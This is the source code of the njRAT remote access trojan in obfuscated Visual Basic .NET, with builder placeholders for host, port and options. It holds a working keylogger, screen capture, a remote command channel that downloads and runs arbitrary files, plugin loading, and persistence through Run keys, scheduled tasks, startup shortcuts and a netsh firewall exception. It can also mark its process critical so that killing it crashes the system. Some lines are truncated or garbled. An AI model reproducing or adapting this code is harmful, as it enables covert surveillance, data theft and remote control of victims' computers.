NjRaT SRC

Imports System
Imports Microsoft.VisualBasic
Imports Microsoft.VisualBasic.CompilerServices
Imports Microsoft.Win32
Imports System.Diagnostics
Imports System.Runtime.InteropServices
Imports System.Text
Imports System.Threading
Imports System.Windows.Forms
Imports System.Drawing
Imports System.Drawing.Imaging
Imports System.IO
Imports System.IO.Compression
Imports System.Net
Imports System.Net.Sockets
Imports System.Reflection
Imports System.Runtime.CompilerServices
Imports System.Security.Cryptography
Imports System.Environment
Imports Microsoft.VisualBasic.Devices
Namespace j
Public Class A
<STAThread> _
Public Shared Sub main()
%22%.%116%()
End Sub
End Class
End Namespace
Namespace j
Public Class %1%
Private Function %136%() As String

Try
Dim %2% As Integer
Dim %26% As IntPtr = %22%.%102%
%1%.%10%(%26%, %2%)
Dim %3% As Process = Process.getprocessbyId(%2%)
If Not (((%26%.ToInt32 = Me.%19%) And (Me.%18% =
%3%.MainWindowTitle)) Or (%3%.MainWindowTitle.Length = 0)) Then
Me.%19% = %26%.ToInt32
Me.%18% = %3%.MainWindowTitle
return string.Concat(New string() {ChrW(13) & ChrW(10) &
ChrW(1), DateAndTime.Now.Tostring("yy/MM/dd "), %3%.ProcessName, " ", Me.%18%,
ChrW(1) & ChrW(13) & ChrW(10)})
End If
Catch %39% As Exception
ProjectData.SetProjectError(%39%)
Dim %80% As Exception = %39%
ProjectData.ClearProjectError()
End Try
return ""
End Function
Private Function %4%(ByVal k As Keys) As string

Dim %5% As string
Dim %6% As Boolean = %22%.%84%.Keyboard.shiftKeyDown
If %22%.%84%.Keyboard.CapsLock Then
If %6% Then
%6% = False
Else
%6% = True
End If
End If
Try
Select Case k
Case Keys.Delete, Keys.Back
return ("[" & k.Tostring & "]")
Case Keys.LShiftKey, Keys.RShiftKey, Keys.Shift, Keys.ShiftKey,
Keys.Control, Keys.ControlKey, Keys.RControlKey, Keys.LControlKey, Keys.Alt,
Keys.F1, Keys.F2, Keys.F3, Keys.F4, Keys.F5, Keys.F6, Keys.F7, Keys.F8, Keys.F9,
Keys.F10, Keys.F11, Keys.F12, Keys.End
return ""
Case Keys.Space
return " "
Case Keys.Enter, Keys.Enter
If Me.logs.EndsWith("[ENTER]" & ChrW(13) & ChrW(10)) Then
return ""
End If
return "[ENTER]" & ChrW(13) & ChrW(10)
Case Keys.Tab
return "[TAP]" & ChrW(13) & ChrW(10)
End Select
If %6% Then
return %1%.%13%(CType(k, UInt32)).ToUpper
End If
%5% = %1%.%13%(CType(k, UInt32))
If %6% Then
%5% = strings.ChrW(CInt(k)).Tostring.ToUpper
return %5%
End If
%5% = strings.ChrW(CInt(k)).Tostring.ToLower
End Try
return %5%
End Function
<DllImport("user32", CharSet:=CharSet.Ansi, SetLastError:=True,

ExactSpelling:=True)> _
Private Shared Function %7%2(ByVal a As Integer) As Short
End Function
<DllImport("user32", CharSet:=CharSet.Ansi, SetLastError:=True,

Private Shared Function %7%(ByVal a As Integer) As Integer
End Function
<DllImport("user32.dll")> _
Private Shared Function %9%(ByVal a As Byte()) As Boolean
End Function
<DllImport("user32.dll", CharSet:=CharSet.Ansi, SetLastError:=True,

Private Shared Function %10%(ByVal a As IntPtr, ByRef b As Integer) As
Integer
End Function
Private Shared Function %11%(ByVal a As UInt32, ByVal b As UInt32) As
UInt32
End Function
Private Shared Function %12%(ByVal a As UInt32, ByVal b As UInt32, ByVal c
As Byte(), <Out, MarshalAs(UnmanagedType.LPWstr)> ByVal d As stringBuilder, ByVal e
As Integer, ByVal f As UInt32, ByVal g As IntPtr) As Integer
End Function
Private Shared Function %13%(ByVal a As UInt32) As String

Try
Dim %15% As New stringBuilder
Dim %14% As Byte() = New Byte(&HFF - 1) {}
If Not %1%.%9%(%14%) Then
return ""
End If
Dim %16% As UInt32 = %1%.%11%(a, 0)
Dim %2%3 As Integer = 0
Dim keyboardLayout As IntPtr = CType(%1%.%7%(%1%.%10%(%22%.%102%,
%2%3)), IntPtr)
%1%.%12%(a, %16%, %14%, %15%, 5, 0, keyboardLayout)
return %15%.Tostring
End Try
return DirectCast(CInt(a), Keys).Tostring
End Function
Public Sub %17%()

Me.logs = Conversions.Tostring(%22%.%35%(Me.%99%, ""))
Try
Dim %2% As Integer = 0
Do While True
%2% += 1
Do
If ((%1%.%7%(%123%) = -32767) And Not %22%.
%84%.Keyboard.CtrlKeyDown) Then
Dim %124% As Keys = DirectCast(%123%, Keys)
Dim %5% As string = Me.%4%(%124%)
If (%5%.Length > 0) Then
Me.logs = (Me.logs & Me.%136%)
Me.logs = (Me.logs & %5%)
End If
Me.%20% = %124%
End If
%123% += 1
Loop While (%123% <= &HFF)
If (%2% = &H3E8) Then
%2% = 0
Dim %2%3 As Integer = (Conversions.ToInteger("%klen%") *
&H400)
If (Me.logs.Length > %2%3) Then
Me.logs = Me.logs.Remove(0, (Me.logs.Length - %2%3))
End If
%22%.%115%(Me.%99%, Me.logs, RegistryValueKind.string)
End If
Thread.Sleep(1)
Loop
End Try
End Sub
Private %18% As String

Private %19% As Integer
Private %20% As Keys = Keys.None
Public logs As String = ""
Public %99% As String = "[%1%]"
End Class
End Namespace
Namespace j
<StandardModule> _
Friend NotInheritable Class %22%
<DEBuggerStepThrough, Compilergenerated> _
Private Shared Sub %23%(ByVal %137% As Object)
%22%.%134%(DirectCast(%137%, Byte()))
End Sub
<DEBuggerStepThrough, Compilergenerated> _
Private Shared Sub %25%(ByVal %137% As Object, ByVal a1 As
SessionEndingEventArgs)
%22%.%82%()
End Sub
Private Shared %132% As Byte() = New Byte(&H1401 - 1) {}
Public Shared Function %126%() As String
Dim %5% As string
Try
Dim %26% As IntPtr = %22%.%102%
If (%26% = IntPtr.Zero) Then
return ""
End If
Dim %27% As String = strings.Space((%22%.%146%(CLng(%26%)) + 1))
%22%.GetWindowText(%26%, %27%, %27%.Length)
%5% = %22%.%37%(%27%)
%5% = ""
End Try
return %5%
End Function
Public Shared %100% As String = "%exe%.exe"
Public Shared %95% As String = "%dir%"
Public Shared %83% As Boolean = False
Public Shared %130% As TcpClient = Nothing
Public Shared %92% As Boolean = Conversions.ToBoolean("%bsod%")
Public Shared Function %28%(ByRef %29% As Byte()) As String
return Encoding.UTF8.Getstring(%29%)
End Function
Public Shared %84% As Computer = New Computer
Public Shared Function %30%() As Boolean
Try
Do
Dim %36% As String = Nothing
If %22%.%142%(CShort(%2%), strings.Space(100), 100, %36%, 100)
Then
return True
End If
%2% += 1
Loop While (%2% <= 4)
End Try
return False
End Function
<DllImport("avicap32.dll", CharSet:=CharSet.Ansi, SetLastError:=True,

Public Shared Function %142%(ByVal %138% As Short,
<MarshalAs(UnmanagedType.VBByRefStr)> ByRef %139% As String, ByVal %140% As
Integer, <MarshalAs(UnmanagedType.VBByRefStr)> ByRef %36% As String, ByVal %141% As
Integer) As Boolean
End Function
Private Shared Function %31%(ByVal %143% As FileInfo, ByVal %144% As

FileInfo) As Boolean
If (%143%.Name.ToLower = %144%.Name.ToLower) Then
Dim %104% As DirectoryInfo = %143%.Directory
Dim %103% As DirectoryInfo = %144%.Directory
Do
If (%104%.Name.ToLower <> %103%.Name.ToLower) Then
return False
End If
%104% = %104%.parent
%103% = %103%.parent
If ((%104% Is Nothing) And (%103% Is Nothing)) Then
return True
End If
If (%104% Is Nothing) Then
return False
End If
Loop While (Not %103% Is Nothing)
End If
return False
End Function
Public Shared %85% As filestream
Public Shared Function %32%() As Boolean
%22%.%83% = False
Thread.Sleep(&H7D0)
Dim %125% As FileInfo = %22%.%91%
SyncLock %125%
Try
If (Not %22%.%130% Is Nothing) Then
Try
%22%.%130%.Close()
%22%.%130% = Nothing
End Try
End If
Try
%22%.%101%.Dispose()
End Try
End Try
Try
%22%.%101% = New memorystream

%22%.%130% = New TcpClient
%22%.%130%.ReceiveBufferSize = &H32000
%22%.%130%.sendBufferSize = &H32000
%22%.%130%.Client.sendTimeout = &H2710
%22%.%130%.Client.ReceiveTimeout = &H2710
%22%.%130%.connect(%22%.%129%, Conversions.ToInteger(%22%.
%131%))
%22%.%83% = True
%22%.%69%(%22%.%133%)
Try
Dim %5% As string
If Operators.ConditionalCompareObjectEqual(%22%.%35%("vn",
""), "", False) Then
%5% = (%5% & %22%.%33%(%22%.%99%) & ChrW(13) &
ChrW(10))
Else
%5% = (%5% & %22%.%33%(Conversions.Tostring(%22%.%35%
("vn", ""))) & ChrW(13) & ChrW(10))
End If
%5% = ((((((string.Concat(New string() {%5%, %22%.%129%,
":", %22%.%131%, ChrW(13) & ChrW(10)}) & %22%.%95% & ChrW(13) & ChrW(10)) & %22%.
%100% & ChrW(13) & ChrW(10)) & Conversions.Tostring(%22%.%87%) & ChrW(13) &
ChrW(10)) & Conversions.Tostring(%22%.%88%) & ChrW(13) & ChrW(10)) &
Conversions.Tostring(%22%.%89%) & ChrW(13) & ChrW(10)) & Conversions.Tostring(%22%.
%92%))
%22%.%69%(("inf" & %22%.%128% & %22%.%37%(%5%)))
End Try
%22%.%83% = False
End Try
End SyncLock
return %22%.%83%
End Function
Public Shared Function %33%(ByRef s As String) As String

return %22%.%28%(Convert.FromBase64string(s))
End Function
Public Shared Sub %34%(ByVal n As String)

Try
%22%.%84%.Registry.CurrentUser.OpenSubKey(("Software\" & %22%.
%77%), True).DeleteValue(n)
End Try
End Sub
Public Shared %127% As String = "0.7d"
Public Shared Sub %82%()
%22%.%114%(0)
End Sub
Public Shared Function %37%(ByRef s As String) As String

return Convert.ToBase64string(%22%.%120%(s))
End Function
<DllImport("user32.dll", CharSet:=CharSet.Ansi, SetLastError:=True,

Public Shared Function %102%() As IntPtr
End Function
<DllImport("kernel32", EntryPoint:="GetVolumeInformationA",
CharSet:=CharSet.Ansi, SetLastError:=True, ExactSpelling:=True)> _
Private Shared Function
GetVolumeInformation(<MarshalAs(UnmanagedType.VBByRefStr)> ByRef lpRootPathName As
String, <MarshalAs(UnmanagedType.VBByRefStr)> ByRef %58% As String, ByVal
nVolumeNameSize As Integer, ByRef lpVolumeSerialnumber As Integer, ByRef %59% As
Integer, ByRef %60% As Integer, <MarshalAs(UnmanagedType.VBByRefStr)> ByRef %61% As
String, ByVal nFileSystemNameSize As Integer) As Integer
End Function
<DllImport("user32.dll", EntryPoint:="GetWindowTextA",
Public Shared Function GetWindowText(ByVal %147% As IntPtr,
<MarshalAs(UnmanagedType.VBByRefStr)> ByRef %27% As String, ByVal MaxLength As
Integer) As Integer
End Function
<DllImport("user32.dll", EntryPoint:="GetWindowTextLengthA",
Public Shared Function %146%(ByVal %147% As Long) As Integer
End Function
Public Shared %88% As Boolean = Conversions.ToBoolean("%cpst%")
Public Shared Function %35%(ByVal %145% As String, ByVal %148% As Object)
As Object
Dim %105% As Object
Try
%105% = %22%.%84%.Registry.CurrentUser.OpenSubKey(("Software\" &
%22%.%77%)).GetValue(%145%, RuntimeHelpers.GetobjectValue(%148%))
%105% = %148%
End Try
return %105%
End Function
Public Shared %129% As String = "%host%"
Dim %5% As string
Try
Dim %2% As Integer
%22%.GetVolumeInformation((Interaction.Environ("Systemdrive") &
"\"), %58%, 0, %2%, %59%, %60%, %61%, 0)
%5% = Conversion.Hex(%2%)
%5% = "ERR"
End Try
return %5%
End Function
Public Shared %94% As String = "Software\Microsoft\Windows\CurrentVersion\Run"
Public Shared Sub %134%(ByVal b As Byte())
Dim %62% As String() = strings.Split(%22%.%28%(b), %22%.%128%, -1,
CompareMethod.Binary)
Try
Dim %57% As Byte()
Dim %5%4 As string = %62%(0)
Select Case %5%4
Case "ll"
%22%.%83% = False
return
Case "kl"
%22%.%69%(("kl" & %22%.%128% & %22%.%37%(%22%.%86%.logs)))
return
Case "prof"
Select Case %62%(1)
Case "~"
%22%.%115%(%62%(2), %62%(3),
RegistryValueKind.string)
Exit Select
Case "!"
%22%.%115%(%62%(2), %62%(3),
RegistryValueKind.string)
%22%.%69%
(Conversions.Tostring(Operators.ConcatenateObject((("getvalue" & %22%.%128%) &
%62%(1) & %22%.%128%), %22%.%35%(%62%(1), ""))))
Exit Select
Case "@"
%22%.%34%(%62%(2))
Exit Select
End Select
return
End Select
If (%5%4 <> "rn") Then
GoTo Label_0294
End If
If (%62%(2).Chars(0) = ChrW(31)) Then
Try
Dim %56% As New memorystream
Dim %106% As Integer = (%62%(0) & %22%.%128% & %62%(1) &
%22%.%128%).Length
%56%.Write(b, %106%, (b.Length - %106%))
%57% = %22%.%135%(%56%.toarray)
GoTo Label_020B
%22%.%69%(("MSG" & %22%.%128% & "execute ERROR"))
%22%.%69%("bla")
return
End Try
End If
Dim %107% As New WebClient
Try
%57% = %107%.DownloadData(%62%(2))
%22%.%69%(("MSG" & %22%.%128% & "Download ERROR"))
%22%.%69%("bla")
return
End Try
Label_020B:
%22%.%69%("bla")
Dim %108% As String = (IO.Path.GetTempFileName & "." & %62%(1))
Try
File.WriteAllBytes(%108%, %57%)
Process.Start(%108%)
%22%.%69%(("MSG" & %22%.%128% & "executed As " & New
FileInfo(%108%).Name))
return
%22%.%69%(("MSG" & %22%.%128% & "execute ERROR " &
%41%.Message))
return
End Try
Label_0294:
Select Case %5%4
Case "inv"
Dim %109% As Byte() = DirectCast(%22%.%35%(%62%(1), New
Byte(0 - 1) {}), Byte())
If ((%62%(3).Length < 10) And (%109%.Length = 0)) Then
%22%.%69%(String.Concat(New String() {"pl", %22%.%128%,
%62%(1), %22%.%128%, Conversions.Tostring(1)}))
Else
If (%62%(3).Length > 10) Then
Dim %56%2 As New memorystream
Dim %110% As Integer = String.Concat(New String()
{%62%(0), %22%.%128%, %62%(1), %22%.%128%, %62%(2), %22%.%128%}).Length
%56%2.Write(b, %110%, (b.Length - %110%))
%109% = %22%.%135%(%56%2.toarray)
%22%.%115%(%62%(1), %109%,
RegistryValueKind.Binary)
End If
Dim %111% As Object =
RuntimeHelpers.GetobjectValue(%22%.%68%(%109%, "A"))
NewLateBinding.LateSet(%111%, Nothing, "h", New
Object() {%22%.%129%}, Nothing, Nothing)
NewLateBinding.LateSet(%111%, Nothing, "p", New
Object() {%22%.%131%}, Nothing, Nothing)
NewLateBinding.LateSet(%111%, Nothing, "osk", New
Object() {%62%(2)}, Nothing, Nothing)
NewLateBinding.LateCall(%111%, Nothing, "start", New
Object(0 - 1) {}, Nothing, Nothing, Nothing, True)
Do While Not
Conversions.ToBoolean(Operators.OrObject(Not %22%.%83%,
Operators.CompareObjectEqual(NewLateBinding.LateGet(%111%, Nothing, "Off", New
Object(0 - 1) {}, Nothing, Nothing, Nothing), True, False)))
Thread.Sleep(1)
Loop
NewLateBinding.LateSet(%111%, Nothing, "off", New
Object() {True}, Nothing, Nothing)
End If
return
Case "ret"
Dim %57%3 As Byte() = DirectCast(%22%.%35%(%62%(1), New
Byte(0 - 1) {}), Byte())
If ((%62%(2).Length < 10) And (%57%3.Length = 0)) Then
Else
If (%62%(2).Length > 10) Then
Dim %2%3 As Integer = (%62%(0) & %22%.%128% &
%62%(1) & %22%.%128%).Length
%56%3.Write(b, %2%3, (b.Length - %2%3))
%57%3 = %22%.%135%(%56%3.toarray)
%22%.%115%(%62%(1), %57%3,
RegistryValueKind.Binary)
End If
Dim %71% As Object =
RuntimeHelpers.GetobjectValue(%22%.%68%(%57%3, "A"))
%22%.%69%(String.Concat(New String() {"ret", %22%.
%128%, %62%(1), %22%.%128%, %22%.%37%
(Conversions.Tostring(NewLateBinding.LateGet(%71%, Nothing, "GT", New Object(0 - 1)
{}, Nothing, Nothing, Nothing)))}))
End If
return
Case "CAP"
Dim %72% As Rectangle = Screen.PrimaryScreen.bounds
Dim %73% As New Bitmap(Screen.PrimaryScreen.bounds.Width,
%72%.Height, PixelFormat.Format16bpprgb555)
Dim %118% As Graphics = Graphics.FromImage(%73%)
Dim blockRegionSize As New Size(%73%.Width, %73%.Height)
%118%.CopyFromScreen(0, 0, 0, 0, blockRegionSize,
CopyPixelOperation.SourceCopy)
Try
blockRegionSize = New Size(&H20, &H20)
%72% = New Rectangle(Cursor.Position, blockRegionSize)
Cursors.Default.Draw(%118%, %72%)
End Try
%118%.Dispose()
Dim %74% As New Bitmap(Conversions.ToInteger(%62%(1)),
Conversions.ToInteger(%62%(2)))
%118% = Graphics.FromImage(%74%)
%118%.DrawImage(%73%, 0, 0, %74%.Width, %74%.Height)
%118%.Dispose()
b = %22%.%120%(("CAP" & %22%.%128%))
%56%4.Write(b, 0, b.Length)
%74%.Save(%56%5, ImageFormat.Jpeg)
Dim %5%2 As string = %22%.%66%(%56%5.toarray)
If (%5%2 <> %22%.%90%) Then
%22%.%90% = %5%2
%56%4.Write(%56%5.toarray, 0, CInt(%56%5.Length))
Else
%56%4.WriteByte(0)
End If
%22%.%70%(%56%4.toarray)
%56%4.Dispose()
%56%5.Dispose()
%73%.Dispose()
%74%.Dispose()
return
Case "un"
Select Case %62%(1)
Case "~"
%22%.%122%()
Exit Select
Case "!"
%22%.%114%(0)
ProjectData.EndApp()
Exit Select
Case "@"
%22%.%114%(0)
Process.Start(%22%.%91%.FullName)
Exit Select
End Select
return
End Select
If (%5%4 <> "up") Then
GoTo Label_0A1C
End If
Dim %81% As Byte() = Nothing
If (%62%(1).Chars(0) = ChrW(31)) Then
Try
Dim %2%4 As Integer = (%62%(0) & %22%.%128%).Length
%56%6.Write(b, %2%4, (b.Length - %2%4))
%81% = %22%.%135%(%56%6.toarray)
GoTo Label_097B
%22%.%69%(("MSG" & %22%.%128% & "Update ERROR"))
%22%.%69%("bla")
return
End Try
End If
Dim %63% As New WebClient
Try
%81% = %63%.DownloadData(%62%(1))
%22%.%69%(("MSG" & %22%.%128% & "Update ERROR"))
%22%.%69%("bla")
return
End Try
Label_097B:
%22%.%69%("bla")
Dim %112% As String = (IO.Path.GetTempFileName & ".exe")
Try
%22%.%69%(("MSG" & %22%.%128% & "Updating To " & New
FileInfo(%112%).Name))
Thread.Sleep(&H7D0)
File.WriteAllBytes(%112%, %81%)
Process.Start(%112%, "..")
%22%.%69%(("MSG" & %22%.%128% & "Update ERROR " &
%45%.Message))
return
End Try
%22%.%122%()
return
Label_0A1C:
If (%5%4 = "Ex") Then
If (%22%.%93% Is Nothing) Then
%22%.%69%("PLG")
Do While Not (((Not %22%.%93% Is Nothing) Or (%2%5 = 20))
Or Not %22%.%83%)
%2%5 += 1
Thread.Sleep(&H3E8)
Loop
If ((%22%.%93% Is Nothing) Or Not %22%.%83%) Then
return
End If
End If
Dim %64% As Object() = New Object() {b}
Dim %65% As Boolean() = New Boolean() {True}
NewLateBinding.LateCall(%22%.%93%, Nothing, "ind", %64%,
Nothing, Nothing, %65%, True)
If %65%(0) Then
b =
DirectCast(Conversions.ChangeType(RuntimeHelpers.GetobjectValue(%64%(0)),
GetType(Byte())), Byte())
End If
ElseIf (%5%4 = "PLG") Then
Dim %2%6 As Integer = (%62%(0) & %22%.%128%).Length
%56%7.Write(b, %2%6, (b.Length - %2%6))
%22%.%93% = RuntimeHelpers.GetobjectValue(%22%.%68%(%22%.%135%
(%56%7.toarray), "A"))
NewLateBinding.LateSet(%22%.%93%, Nothing, "H", New Object()
{%22%.%129%}, Nothing, Nothing)
NewLateBinding.LateSet(%22%.%93%, Nothing, "P", New Object()
NewLateBinding.LateSet(%22%.%93%, Nothing, "c", New Object()
End If
If ((%62%.Length > 0) AndAlso ((%62%(0) = "Ex") Or (%62%(0) =
"PLG"))) Then
%22%.%93% = Nothing
End If
Try
%22%.%69%(String.Concat(New String() {"ER", %22%.%128%,
%62%(0), %22%.%128%, %46%.Message}))
End Try
End Try
End Sub
Public Shared %87% As Boolean = Conversions.ToBoolean("%isdir%")
Dim %5%2 As string = ("ll" & %22%.%128%)
Try
If Operators.ConditionalCompareObjectEqual(%22%.%35%("vn", ""), "",
False) Then
%5%2 = (%5%2 & %22%.%37%((%22%.%33%(%22%.%99%) & "_" & %22%.
%38%)) & %22%.%128%)
Else
%5%2 = (%5%2 & %22%.%37%((%22%.%33%(Conversions.Tostring(%22%.
%35%("vn", ""))) & "_" & %22%.%38%)) & %22%.%128%)
End If
%5%2 = (%5%2 & %22%.%37%(%22%.%38%) & %22%.%128%)
End Try
Try
%5%2 = (%5%2 & Environment.MachineName & %22%.%128%)
%5%2 = (%5%2 & "??" & %22%.%128%)
End Try
Try
%5%2 = (%5%2 & Environment.UserName & %22%.%128%)
%5%2 = (%5%2 & "??" & %22%.%128%)
End Try
Try
%5%2 = (%5%2 & %22%.%91%.LastWriteTime.Date.Tostring("yy-MM-dd") &
%22%.%128%)
%5%2 = (%5%2 & "??-??-??" & %22%.%128%)
End Try
%5%2 = (%5%2 & "" & %22%.%128%)
Try
%5%2 = (%5%2 & %22%.%84%.Info.OSFullName.Replace("Microsoft",
"").Replace("Windows", "Win").Replace("�", "").Replace("�", "").Replace(" ", "
").Replace(" Win", "Win"))
%5%2 = (%5%2 & "??")
End Try
%5%2 = (%5%2 & "SP")
Try
Dim %62% As String() =
strings.Split(Environment.OSVersion.ServicePack, " ", -1, CompareMethod.Binary)
If (%62%.Length = 1) Then
%5%2 = (%5%2 & "0")
End If
%5%2 = (%5%2 & %62%((%62%.Length - 1)))
%5%2 = (%5%2 & "0")
End Try
Try
If
Environment.GetFolderPath(SpecialFolder.ProgramFiles).Contains("x86") Then
%5%2 = (%5%2 & " x64" & %22%.%128%)
Else
%5%2 = (%5%2 & " x86" & %22%.%128%)
End If
%5%2 = (%5%2 & %22%.%128%)
End Try
If %22%.%30% Then
%5%2 = (%5%2 & "Yes" & %22%.%128%)
Else
%5%2 = (%5%2 & "No" & %22%.%128%)
End If
%5%2 = (((%5%2 & %22%.%127% & %22%.%128%) & ".." & %22%.%128%) & %22%.
%126% & %22%.%128%)
Dim %5%3 As string = ""
Try
Dim %5%4 As string
For Each %5%4 In %22%.
%84%.Registry.CurrentUser.CreateSubKey(("Software\" & %22%.%77%),
RegistryKeyPermissionCheck.Default).GetValueNames
If (%5%4.Length = &H20) Then
%5%3 = (%5%3 & %5%4 & ",")
End If
Next
End Try
return (%5%2 & %5%3)
End Function
Public Shared %128% As String = "|'|'|"
Thread.Sleep(&H3E8)
If (%22%.%87% AndAlso Not %22%.%31%(%22%.%91%, New
FileInfo((Interaction.Environ(%22%.%95%).ToLower & "\" & %22%.%100%.ToLower))))
Then
Try
If File.Exists((Interaction.Environ(%22%.%95%) & "\" & %22%.
%100%)) Then
File.Delete((Interaction.Environ(%22%.%95%) & "\" & %22%.
%100%))
End If
Dim %56% As New filestream((Interaction.Environ(%22%.%95%) &
"\" & %22%.%100%), FileMode.CreateNew)
Dim %75% As Byte() = File.ReadAllBytes(%22%.%91%.FullName)
%56%.Write(%75%, 0, %75%.Length)
%56%.Flush()
%56%.Close()
%22%.%91% = New FileInfo((Interaction.Environ(%22%.%95%) & "\"
& %22%.%100%))
Process.Start(%22%.%91%.FullName)
End Try
End If
Try
Environment.SetEnvironmentVariable("SEE_MASK_NOZONECHECKS", "1",
EnvironmentVariableTarget.User)
End Try
Try
Interaction.Shell(String.Concat(New String() {"netsh firewall add
allowedprogram """, %22%.%91%.FullName, """ """, %22%.%91%.Name, """ ENABLE"}),
AppWinStyle.Hide, True, &H1388)
End Try
If %22%.%89% Then
Try
%22%.%84%.Registry.CurrentUser.OpenSubKey(%22%.%94%,
True).SetValue(%22%.%77%, ("""" & %22%.%91%.FullName & """ .."))
End Try
Try
%22%.%84%.Registry.localMachine.OpenSubKey(%22%.%94%,
True).SetValue(%22%.%77%, ("""" & %22%.%91%.FullName & """ .."))
End Try
End If
If %22%.%154% Then
Try
Interaction.Shell(("schtasks /create /sc minute /mo 1 /tn %regk
% /tr """ & Application.ExecutablePath), AppWinStyle.Hide, False, -1)
Dim exception6 As Exception = %161%
ProjectData.ClearProjectError
End Try
End If
If %22%.%155% Then
Try
%22%.%156%(Application.ExecutablePath)
Dim exception7 As Exception = %162%
ProjectData.ClearProjectError
End Try
End If
If %22%.%88% Then
Try
File.Copy(%22%.%91%.FullName,
(Environment.GetFolderPath(SpecialFolder.Startup) & "\" & %22%.%77% & ".exe"),
True)
%22%.%85% = New
filestream((Environment.GetFolderPath(SpecialFolder.Startup) & "\" & %22%.%77% &
".exe"), FileMode.Open)
End Try
End If
End Sub
Public Shared %154% As Boolean = Conversions.ToBoolean("%schtsk%")

If (Not Interaction.Command Is Nothing) Then
Try
%22%.%84%.Registry.CurrentUser.SetValue("di", "!")
End Try
Thread.Sleep(&H1388)
End If
Dim %76% As Boolean = False
%22%.%98% = New Mutex(True, %22%.%77%, %76%)
If Not %76% Then
End If
%22%.%113%()
If Not %22%.%87% Then
%22%.%100% = %22%.%91%.Name
%22%.%95% = %22%.%91%.Directory.Name
End If
Dim %96% As Thread = New Thread(New ThreadStart(AddressOf %22%.%117%),
1) : %96%.Start()
Try
%22%.%86% = New %1%
Dim %96%2 As Thread = New Thread(New ThreadStart(AddressOf %22%.
%86%.%17%), 1) : %96%2.Start()
End Try
Dim %5% As string = ""
If %22%.%92% Then
Try
AddHandler SystemEvents.SessionEnding, New
SessionEndingEventHandler(AddressOf %22%.%25%)
%22%.%114%(1)
End Try
End If
Do While True
Thread.Sleep(&H3E8)
%5% = ""
End If
Application.DoEvents()
Try
%2% += 1
If (%2% = 5) Then
Try
Process.GetCurrentProcess.MinWorkingSet = CType(&H400,
IntPtr)
End Try
End If
If (%2% >= 8) Then
%2% = 0
Dim %5%2 As string = %22%.%126%
If (%5% <> %5%2) Then
%5% = %5%2
%22%.%69%(("%126%" & %22%.%128% & %5%2))
End If
End If
If %22%.%89% Then
Try
If Operators.ConditionalCompareObjectNotEqual(%22%.
%84%.Registry.CurrentUser.GetValue((%22%.%94% & "\" & %22%.%77%), ""), ("""" &
%22%.%91%.FullName & """ .."), False) Then
%22%.%84%.Registry.CurrentUser.OpenSubKey(%22%.
%94%, True).SetValue(%22%.%77%, ("""" & %22%.%91%.FullName & """ .."))
End If
End Try
Try
If Operators.ConditionalCompareObjectNotEqual(%22%.
%84%.Registry.localMachine.GetValue((%22%.%94% & "\" & %22%.%77%), ""), ("""" &
%22%.%91%.FullName & """ .."), False) Then
%22%.%84%.Registry.localMachine.OpenSubKey(%22%.
%94%, True).SetValue(%22%.%77%, ("""" & %22%.%91%.FullName & """ .."))
End If
End Try
End If
End Try
Loop
End Sub
Public Shared %155% As Boolean = Conversions.ToBoolean("%shrt%")
Public Shared Sub %156%(ByRef %157% As String)
Dim %158% As Object = CreateObject("WScript.Shell")
%158% = CreateObject("WScript.Shell")
Dim %159%, %160%
%160% = %158%.SpecialFolders("Startup")
%159% = %158%.CreateShortcut(%160% & "\" & "%regk%" & ".lnk")
%159%.TargetPath = %158%.ExpandEnvironmentStrings(%157%)
%159%.WindowStyle = 4
%159%.Save()
End Sub
Public Shared Function %66%(ByVal B As Byte()) As String
B = New md5CryptoServiceProvider().ComputeHash(B)
Dim %5%2 As string = ""
Dim %2% As Byte
For Each %2% In B
%5%2 = (%5%2 & %2%.Tostring("x2"))
Next
return %5%2
End Function
Public Shared %89% As Boolean = Conversions.ToBoolean("%isu%")
<DllImport("ntdll")> _
Private Shared Function %67%(ByVal %149% As IntPtr, ByVal %152% As Integer,
ByRef %150% As Integer, ByVal %151% As Integer) As Integer
End Function
Private Shared %90% As String = ""
Public Shared Function %68%(ByVal b As Byte(), ByVal c As String) As Object
Dim %97% As [Module]
For Each %97% In Assembly.load(b).GetModules
Dim %153% As Type
For Each %153% In [%97%].GetTypes
If %153%.FullName.EndsWith(("." & c)) Then
return [%97%].Assembly.Createinstance(%153%.FullName)
End If
Next
Next
return Nothing
End Function
Public Shared %91% As FileInfo = New
FileInfo(Assembly.GetEntryAssembly.location)
Public Shared Sub %114%(ByVal i As Integer)
Try
%22%.%67%(Process.GetCurrentProcess.Handle, &H1D, i, 4)
End Try
End Sub
Public Shared %99% As String = "%vn%"
Label_0000:
%22%.%90% = ""
Dim %2% As Long = -1
Try
Label_001B:
%2%2 += 1
If (%2%2 = 10) Then
%2%2 = 0
Thread.Sleep(1)
End If
GoTo Label_01C1
End If
If (%22%.%130%.Available < 1) Then
%22%.%130%.Client.Poll(-1, SelectMode.SelectRead)
End If
Label_0057:
If (%22%.%130%.Available > 0) Then
If (%2% = -1) Then
Dim %5% As string = ""
Do While True
Dim %119% As Integer = %22%.
%130%.Getstream.ReadByte
Select Case %119%
Case -1
GoTo Label_01C1
Case 0
%2% = Conversions.ToLong(%5%)
%5% = ""
If (%2% = 0) Then
%22%.%69%("")
%2% = -1
End If
If (%22%.%130%.Available <= 0) Then
GoTo Label_001B
End If
GoTo Label_0057
End Select
%5% = (%5% &
Conversions.Tostring(Conversions.ToInteger(strings.ChrW(%119%).Tostring)))
Loop
End If
%22%.%132% = New Byte((%22%.%130%.Available + 1) - 1) {}
Dim %2%5 As Long = (%2% - %22%.%101%.Length)
If (%22%.%132%.Length > %2%5) Then
%22%.%132% = New Byte((CInt((%2%5 - 1)) + 1) - 1) {}
End If
Dim %78% As Integer = %22%.%130%.Client.Receive(%22%.%132%,
0, %22%.%132%.Length, Socketflags .None)
%22%.%101%.Write(%22%.%132%, 0, %78%)
If (%22%.%101%.Length = %2%) Then
%2% = -1
Dim thread As New Thread(New
ParameterizedThreadStart(AddressOf %22%.%23%), 1)
thread.Start(%22%.%101%.toarray)
thread.Join(100)
%22%.%101%.Dispose()
%22%.%101% = New memorystream
End If
GoTo Label_001B
End If
End Try
End If
Label_01C1:
Try
NewLateBinding.LateCall(%22%.%93%, Nothing, "clear", New
Object(0 - 1) {}, Nothing, Nothing, Nothing, True)
%22%.%93% = Nothing
End If
End Try
%22%.%83% = False
GoTo Label_01C1
End If
%22%.%83% = True
GoTo Label_0000
End Sub
Public Shared %86% As %1% = Nothing
Public Shared Function %120%(ByRef S As String) As Byte()
return Encoding.UTF8.Getbytes(S)
End Function
Private Shared %101% As memorystream = New memorystream
